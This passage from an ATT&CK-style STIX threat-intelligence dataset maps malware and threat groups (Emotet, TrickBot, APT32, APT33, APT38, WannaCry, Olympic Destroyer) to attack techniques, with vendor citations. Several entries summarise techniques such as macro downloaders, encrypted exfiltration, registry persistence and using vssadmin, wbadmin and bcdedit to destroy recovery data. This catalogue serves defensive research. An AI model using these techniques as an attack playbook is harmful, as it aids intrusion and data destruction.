                    "source_name": "Symantec Emotet Jul 2018",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor",
                    "description": "Symantec. (2018, July 18). The Evolution of Emotet: From Banking Trojan to Threat Distributor. Retrieved March 25, 2019."
                },
                {
                    "source_name": "US-CERT Emotet Jul 2018",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-201A",
                    "description": "US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019."
                },
                {
                    "source_name": "Talos Emotet Jan 2019",
                    "url": "https://blog.talosintelligence.com/2019/01/return-of-emotet.html",
                    "description": "Brumaghin, E.. (2019, January 15). Emotet re-emerges after the holidays. Retrieved March 25, 2019."
                },
                {
                    "source_name": "Trend Micro Emotet Jan 2019",
                    "url": "https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf",
                    "description": "Trend Micro. (2019, January 16). Exploring Emotet's Activities . Retrieved March 25, 2019."
                },
                {
                    "source_name": "Picus Emotet Dec 2018",
                    "url": "https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html",
                    "description": "\u00d6zarslan, S. (2018, December 21). The Christmas Card you never wanted - A new wave of Emotet is back to wreak havoc. Retrieved March 25, 2019."
                },
                {
                    "description": "Lee, S.. (2019, April 24). Emotet Using WMI to Launch PowerShell Encoded Code. Retrieved May 24, 2019.",
                    "url": "https://www.carbonblack.com/2019/04/24/cb-tau-threat-intelligence-notification-emotet-utilizing-wmi-to-launch-powershell-encoded-code/",
                    "source_name": "Carbon Black Emotet Apr 2019"
                },
                {
                    "source_name": "IBM IcedID November 2017",
                    "url": "https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/",
                    "description": "Kessem, L., et al. (2017, November 13). New Banking Trojan IcedID Discovered by IBM X-Force Research. Retrieved July 14, 2020."
                }
            ],
            "description": "[Emotet](https://attack.mitre.org/software/S0367) has been delivered by phishing emails containing attachments. (Citation: CIS Emotet Apr 2017)(Citation: Malwarebytes Emotet Dec 2017)(Citation: Symantec Emotet Jul 2018)(Citation: US-CERT Emotet Jul 2018)(Citation: Talos Emotet Jan 2019)(Citation: Trend Micro Emotet Jan 2019)(Citation: Picus Emotet Dec 2018)(Citation: Carbon Black Emotet Apr 2019)(Citation: IBM IcedID November 2017)",
            "relationship_type": "uses",
            "id": "relationship--cc4f0b64-db39-4546-a5fc-a518ecc5438b",
            "type": "relationship",
            "modified": "2020-07-15T18:05:15.557Z",
            "created": "2019-03-26T19:23:02.065Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023",
            "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062",
            "external_references": [
                {
                    "source_name": "Trend Micro Emotet Jan 2019",
                    "url": "https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf",
                    "description": "Trend Micro. (2019, January 16). Exploring Emotet's Activities . Retrieved March 25, 2019."
                }
            ],
            "description": "[Emotet](https://attack.mitre.org/software/S0367) has used custom packers to protect its payloads.(Citation: Trend Micro Emotet Jan 2019)",
            "relationship_type": "uses",
            "id": "relationship--d4c5a3a8-203d-4201-80fa-48b5ac9a533f",
            "type": "relationship",
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            ],
            "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023",
            "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
            "external_references": [
                {
                    "source_name": "Symantec Emotet Jul 2018",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor",
                    "description": "Symantec. (2018, July 18). The Evolution of Emotet: From Banking Trojan to Threat Distributor. Retrieved March 25, 2019."
                },
                {
                    "source_name": "Talos Emotet Jan 2019",
                    "url": "https://blog.talosintelligence.com/2019/01/return-of-emotet.html",
                    "description": "Brumaghin, E.. (2019, January 15). Emotet re-emerges after the holidays. Retrieved March 25, 2019."
                },
                {
                    "source_name": "Trend Micro Emotet Jan 2019",
                    "url": "https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf",
                    "description": "Trend Micro. (2019, January 16). Exploring Emotet's Activities . Retrieved March 25, 2019."
                },
                {
                    "source_name": "Picus Emotet Dec 2018",
                    "url": "https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html",
                    "description": "\u00d6zarslan, S. (2018, December 21). The Christmas Card you never wanted - A new wave of Emotet is back to wreak havoc. Retrieved March 25, 2019."
                },
                {
                    "description": "Lee, S.. (2019, April 24). Emotet Using WMI to Launch PowerShell Encoded Code. Retrieved May 24, 2019.",
                    "url": "https://www.carbonblack.com/2019/04/24/cb-tau-threat-intelligence-notification-emotet-utilizing-wmi-to-launch-powershell-encoded-code/",
                    "source_name": "Carbon Black Emotet Apr 2019"
                }
            ],
            "description": "[Emotet](https://attack.mitre.org/software/S0367) has sent Microsoft Word documents with embedded macros that will invoke scripts to download additional payloads. (Citation: Symantec Emotet Jul 2018)(Citation: Talos Emotet Jan 2019)(Citation: Trend Micro Emotet Jan 2019)(Citation: Picus Emotet Dec 2018)(Citation: Carbon Black Emotet Apr 2019)",
            "relationship_type": "uses",
            "id": "relationship--88309efb-b366-4c4a-bd23-ba43b9f05c4c",
            "type": "relationship",
            "modified": "2020-06-23T19:51:01.709Z",
            "created": "2019-03-26T19:23:02.073Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "external_references": [
                {
                    "source_name": "TrendMicro Trickbot Feb 2019",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/",
                    "description": "Llimos, N., Pascual, C.. (2019, February 12). Trickbot Adds Remote Application Credential-Grabbing Capabilities to Its Repertoire. Retrieved March 12, 2019."
                }
            ],
            "description": "[TrickBot](https://attack.mitre.org/software/S0266) has used macros in Excel documents to download and deploy the malware on the user\u2019s machine.(Citation: TrendMicro Trickbot Feb 2019)",
            "relationship_type": "uses",
            "id": "relationship--9fb5ad4c-1929-4d00-bd87-fed2558d73bf",
            "type": "relationship",
            "modified": "2019-06-24T19:15:06.921Z",
            "created": "2019-03-28T14:45:51.183Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556",
            "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e",
            "external_references": [
                {
                    "source_name": "TrendMicro Trickbot Feb 2019",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/",
                    "description": "Llimos, N., Pascual, C.. (2019, February 12). Trickbot Adds Remote Application Credential-Grabbing Capabilities to Its Repertoire. Retrieved March 12, 2019."
                },
                {
                    "source_name": "Cyberreason Anchor December 2019",
                    "url": "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware",
                    "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."
                }
            ],
            "description": "[TrickBot](https://attack.mitre.org/software/S0266) has attempted to get users to launch malicious documents to deliver its payload. (Citation: TrendMicro Trickbot Feb 2019)(Citation: Cyberreason Anchor December 2019)",
            "relationship_type": "uses",
            "id": "relationship--6b55eeb9-c7a1-4ff5-b8ef-f114e3a1b75a",
            "type": "relationship",
            "modified": "2020-09-11T13:27:44.782Z",
            "created": "2019-03-28T14:45:51.193Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023",
            "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9",
            "external_references": [
                {
                    "source_name": "Trend Micro Banking Malware Jan 2019",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-banking-malware-uses-network-sniffing-for-data-theft/",
                    "description": "Salvio, J.. (2014, June 27). New Banking Malware Uses Network Sniffing for Data Theft. Retrieved March 25, 2019."
                },
                {
                    "description": "Lee, S.. (2019, April 24). Emotet Using WMI to Launch PowerShell Encoded Code. Retrieved May 24, 2019.",
                    "url": "https://www.carbonblack.com/2019/04/24/cb-tau-threat-intelligence-notification-emotet-utilizing-wmi-to-launch-powershell-encoded-code/",
                    "source_name": "Carbon Black Emotet Apr 2019"
                }
            ],
            "description": "[Emotet](https://attack.mitre.org/software/S0367) has relied upon users clicking on a malicious link delivered through spearphishing.(Citation: Trend Micro Banking Malware Jan 2019)(Citation: Carbon Black Emotet Apr 2019)",
            "relationship_type": "uses",
            "id": "relationship--90b7c9e6-53db-4656-a5ee-f8056a8d6ef7",
            "type": "relationship",
            "modified": "2020-03-17T13:31:00.679Z",
            "created": "2019-03-29T13:56:52.432Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--0b3ee33e-430b-476f-9525-72d120c90f8d",
            "target_ref": "attack-pattern--b82f7d37-b826-4ec9-9391-8e121c78aed7",
            "relationship_type": "mitigates",
            "id": "relationship--702f03db-1562-425c-a146-225ea3f573f5",
            "type": "relationship",
            "modified": "2020-02-20T22:07:27.638Z",
            "created": "2019-03-29T16:43:59.192Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--3ffbdc1f-d2bf-41ab-91a2-c7b857e98079",
            "target_ref": "attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac",
            "external_references": [
                {
                    "source_name": "Novetta Blockbuster Destructive Malware",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.",
                    "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"
                }
            ],
            "description": "[RawDisk](https://attack.mitre.org/software/S0364) has been used to directly access the hard disk to help overwrite arbitrarily sized portions of disk content.(Citation: Novetta Blockbuster Destructive Malware)",
            "relationship_type": "uses",
            "id": "relationship--7fa1a7c8-0dfb-4bd5-a34f-509ba24da5be",
            "type": "relationship",
            "modified": "2019-04-19T19:04:56.044Z",
            "created": "2019-03-29T16:48:43.877Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023",
            "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a",
            "external_references": [
                {
                    "description": "Xiaopeng Zhang. (2017, May 3). Deep Analysis of New Emotet Variant \u2013 Part 1. Retrieved April 1, 2019.",
                    "url": "https://www.fortinet.com/blog/threat-research/deep-analysis-of-new-emotet-variant-part-1.html",
                    "source_name": "Fortinet Emotet May 2017"
                }
            ],
            "description": "[Emotet](https://attack.mitre.org/software/S0367) has been observed encrypting the data it collects before sending it to the C2 server. (Citation: Fortinet Emotet May 2017)",
            "relationship_type": "uses",
            "id": "relationship--088ed15f-46da-4b32-a182-68553c61f09b",
            "type": "relationship",
            "modified": "2020-03-30T02:52:04.537Z",
            "created": "2019-04-01T15:06:38.851Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0",
            "external_references": [
                {
                    "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.",
                    "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/",
                    "source_name": "ESET OceanLotus Mar 2019"
                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050) backdoor can use HTTP over an uncommon TCP port (e.g 14146) which is specified in the backdoor configuration.(Citation: ESET OceanLotus Mar 2019)",
            "relationship_type": "uses",
            "id": "relationship--f1492f41-c3fb-4231-9a18-a90334aa3234",
            "type": "relationship",
            "modified": "2019-07-17T13:11:38.720Z",
            "created": "2019-04-01T21:09:50.268Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63",
            "external_references": [
                {
                    "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.",
                    "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/",
                    "source_name": "ESET OceanLotus Mar 2019"
                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050) has used RTF document that includes an exploit to execute malicious code. (CVE-2017-11882)(Citation: ESET OceanLotus Mar 2019)",
            "relationship_type": "uses",
            "id": "relationship--e2048373-fe76-4f99-8608-60eaa05d1b2b",
            "type": "relationship",
            "modified": "2019-07-17T13:11:38.730Z",
            "created": "2019-04-01T21:09:50.292Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
            "external_references": [
                {
                    "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.",
                    "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/",
                    "source_name": "ESET OceanLotus Mar 2019"
                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050)'s backdoor has exfiltrated data using the already opened channel with its C&C server.(Citation: ESET OceanLotus Mar 2019)",
            "relationship_type": "uses",
            "id": "relationship--6dc0069c-5e6a-474f-946d-cc1cd13bc486",
            "type": "relationship",
            "modified": "2019-07-17T13:11:38.717Z",
            "created": "2019-04-01T21:09:50.295Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "external_references": [
                {
                    "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.",
                    "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/",
                    "source_name": "ESET OceanLotus Mar 2019"
                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050)'s backdoor possesses the capability to list files and directories on a machine. (Citation: ESET OceanLotus Mar 2019)\t\n",
            "relationship_type": "uses",
            "id": "relationship--a933bad9-0f92-4a25-9b46-19120737caee",
            "type": "relationship",
            "modified": "2019-07-17T13:11:38.731Z",
            "created": "2019-04-01T21:09:50.332Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "external_references": [
                {
                    "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.",
                    "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/",
                    "source_name": "ESET OceanLotus Mar 2019"
                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050)'s backdoor can query the Windows Registry to gather system information. (Citation: ESET OceanLotus Mar 2019)",
            "relationship_type": "uses",
            "id": "relationship--46144407-0f14-4358-8d4e-23b3ef13cb4e",
            "type": "relationship",
            "modified": "2019-07-17T13:11:38.735Z",
            "created": "2019-04-01T21:09:50.335Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a",
            "external_references": [
                {
                    "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.",
                    "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/",
                    "source_name": "ESET OceanLotus Mar 2019"
                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050)'s backdoor has used LZMA compression and RC4 encryption before exfiltration.(Citation: ESET OceanLotus Mar 2019)",
            "relationship_type": "uses",
            "id": "relationship--7723037f-0b2e-447b-811a-d18a109570bb",
            "type": "relationship",
            "modified": "2020-03-30T01:51:57.341Z",
            "created": "2019-04-01T21:09:50.338Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "external_references": [
                {
                    "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.",
                    "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/",
                    "source_name": "ESET OceanLotus Mar 2019"
                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050)'s backdoor has modified the Windows Registry to store the backdoor's configuration. (Citation: ESET OceanLotus Mar 2019)\t\n",
            "relationship_type": "uses",
            "id": "relationship--76d2d007-1adb-4e04-8e79-dbd799ff57ef",
            "type": "relationship",
            "modified": "2019-07-17T13:11:38.733Z",
            "created": "2019-04-01T21:09:50.380Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4",
            "external_references": [
                {
                    "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.",
                    "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/",
                    "source_name": "ESET OceanLotus Mar 2019"
                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050)'s backdoor has used Windows services as a way to execute its malicious payload. (Citation: ESET OceanLotus Mar 2019)",
            "relationship_type": "uses",
            "id": "relationship--a491cb90-9480-450b-9a57-55b95b249d31",
            "type": "relationship",
            "modified": "2019-07-17T13:11:38.970Z",
            "created": "2019-04-01T21:09:50.383Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--3249e92a-870b-426d-8790-ba311c1abfb4",
            "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b",
            "external_references": [
                {
                    "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.",
                    "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html",
                    "source_name": "Talos Olympic Destroyer 2018"
                }
            ],
            "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) uses the API call <code>ChangeServiceConfigW</code> to disable all services on the affected system.(Citation: Talos Olympic Destroyer 2018)",
            "relationship_type": "uses",
            "id": "relationship--24af852e-f761-4c75-8aa0-edc3198bd7eb",
            "type": "relationship",
            "modified": "2019-06-30T23:07:54.138Z",
            "created": "2019-04-02T12:54:53.886Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--3249e92a-870b-426d-8790-ba311c1abfb4",
            "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a",
            "external_references": [
                {
                    "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.",
                    "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html",
                    "source_name": "Talos Olympic Destroyer 2018"
                }
            ],
            "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) uses the native Windows utilities <code>vssadmin</code>, <code>wbadmin</code>, and <code>bcdedit</code> to delete and disable operating system recovery features such as the Windows backup catalog and Windows Automatic Repair.(Citation: Talos Olympic Destroyer 2018)",
            "relationship_type": "uses",
            "id": "relationship--e4c2c54e-3980-45a4-92cb-c0d99bc0a428",
            "type": "relationship",
            "modified": "2019-06-30T23:07:54.151Z",
            "created": "2019-04-02T15:58:12.348Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661",
            "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a",
            "external_references": [
                {
                    "source_name": "LogRhythm WannaCry",
                    "url": "https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/",
                    "description": "Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019."
                },
                {
                    "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html",
                    "source_name": "FireEye WannaCry 2017"
                },
                {
                    "description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.",
                    "url": "https://www.secureworks.com/research/wcry-ransomware-analysis",
                    "source_name": "SecureWorks WannaCry Analysis"
                }
            ],
            "description": "[WannaCry](https://attack.mitre.org/software/S0366) uses <code>vssadmin</code>, <code>wbadmin</code>, <code>bcdedit</code>, and <code>wmic</code> to delete and disable operating system recovery features.(Citation: LogRhythm WannaCry)(Citation: FireEye WannaCry 2017)(Citation: SecureWorks WannaCry Analysis)",
            "relationship_type": "uses",
            "id": "relationship--76d0be57-e439-4640-b26d-db422353d9e5",
            "type": "relationship",
            "modified": "2019-04-22T11:43:33.534Z",
            "created": "2019-04-02T16:08:50.228Z"
        },
        {
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                {
                    "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html",
                    "source_name": "FireEye WannaCry 2017"
                },
                {
                    "description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.",
                    "url": "https://www.secureworks.com/research/wcry-ransomware-analysis",
                    "source_name": "SecureWorks WannaCry Analysis"
                }
            ],
            "description": "[WannaCry](https://attack.mitre.org/software/S0366) attempts to kill processes associated with Exchange, Microsoft SQL Server, and MySQL to make it possible to encrypt their data stores.(Citation: FireEye WannaCry 2017)(Citation: SecureWorks WannaCry Analysis)",
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                },
                {
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                    "url": "https://www.microsoft.com/security/blog/2020/06/18/inside-microsoft-threat-protection-mapping-attack-chains-from-cloud-to-endpoint/",
                    "description": "Microsoft Threat Protection Intelligence Team. (2020, June 18). Inside Microsoft Threat Protection: Mapping attack chains from cloud to endpoint. Retrieved June 22, 2020."
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                    "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.",
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                    "source_name": "Symantec Elfin Mar 2019"
                }
            ],
            "description": "[APT33](https://attack.mitre.org/groups/G0064) has used SniffPass to collect credentials by sniffing network traffic.(Citation: Symantec Elfin Mar 2019)",
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                    "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage",
                    "source_name": "Symantec Elfin Mar 2019"
                },
                {
                    "source_name": "FireEye APT33 Guardrail",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html",
                    "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019."
                }
            ],
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                    "source_name": "Symantec Elfin Mar 2019"
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            ],
            "description": "[APT33](https://attack.mitre.org/groups/G0064) has used WinRAR to compress data prior to exfil.(Citation: Symantec Elfin Mar 2019)\t\n",
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                    "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019."
                },
                {
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                    "description": "Microsoft Threat Protection Intelligence Team. (2020, June 18). Inside Microsoft Threat Protection: Mapping attack chains from cloud to endpoint. Retrieved June 22, 2020."
                }
            ],
            "description": "[APT33](https://attack.mitre.org/groups/G0064) has downloaded additional files and programs from its C2 server.(Citation: Symantec Elfin Mar 2019)(Citation: Microsoft Holmium June 2020)\t\n",
            "relationship_type": "uses",
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                }
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                    "url": "https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/",
                    "description": "Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019."
                }
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                    "url": "https://content.fireeye.com/apt/rpt-apt38",
                    "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018."
                }
            ],
            "description": "[APT38](https://attack.mitre.org/groups/G0082) has used DYEPACK.FOX to manipulate PDF data as it is accessed to remove traces of fraudulent SWIFT transactions from the data displayed to the end user.(Citation: FireEye APT38 Oct 2018)",
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                {
                    "source_name": "FireEye APT38 Oct 2018",
                    "url": "https://content.fireeye.com/apt/rpt-apt38",
                    "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018."
                }
            ],
            "description": "[APT38](https://attack.mitre.org/groups/G0082) has used DYEPACK to manipulate SWIFT messages en route to a printer.(Citation: FireEye APT38 Oct 2018)",
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                {
                    "source_name": "FireEye APT38 Oct 2018",
                    "url": "https://content.fireeye.com/apt/rpt-apt38",
                    "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018."
                }
            ],
            "description": "[APT38](https://attack.mitre.org/groups/G0082) has used DYEPACK to create, delete, and alter records in databases used for SWIFT transactions.(Citation: FireEye APT38 Oct 2018)",
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            "id": "relationship--d032ba7f-4dee-4a98-b400-86e2eb0ee918",
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                    "source_name": "Symantec Elfin Mar 2019",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage",
                    "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019."
                },
                {
                    "source_name": "Microsoft Holmium June 2020",
                    "url": "https://www.microsoft.com/security/blog/2020/06/18/inside-microsoft-threat-protection-mapping-attack-chains-from-cloud-to-endpoint/",
                    "description": "Microsoft Threat Protection Intelligence Team. (2020, June 18). Inside Microsoft Threat Protection: Mapping attack chains from cloud to endpoint. Retrieved June 22, 2020."
                }
            ],
            "description": "[APT33](https://attack.mitre.org/groups/G0064) has deployed a tool known as [DarkComet](https://attack.mitre.org/software/S0334) to the Startup folder of a victim, and used Registry run keys to gain persistence.(Citation: Symantec Elfin Mar 2019)(Citation: Microsoft Holmium June 2020)",
            "relationship_type": "uses",
            "id": "relationship--d15c3d84-9e21-41ac-9728-f97183b63ec6",
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            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
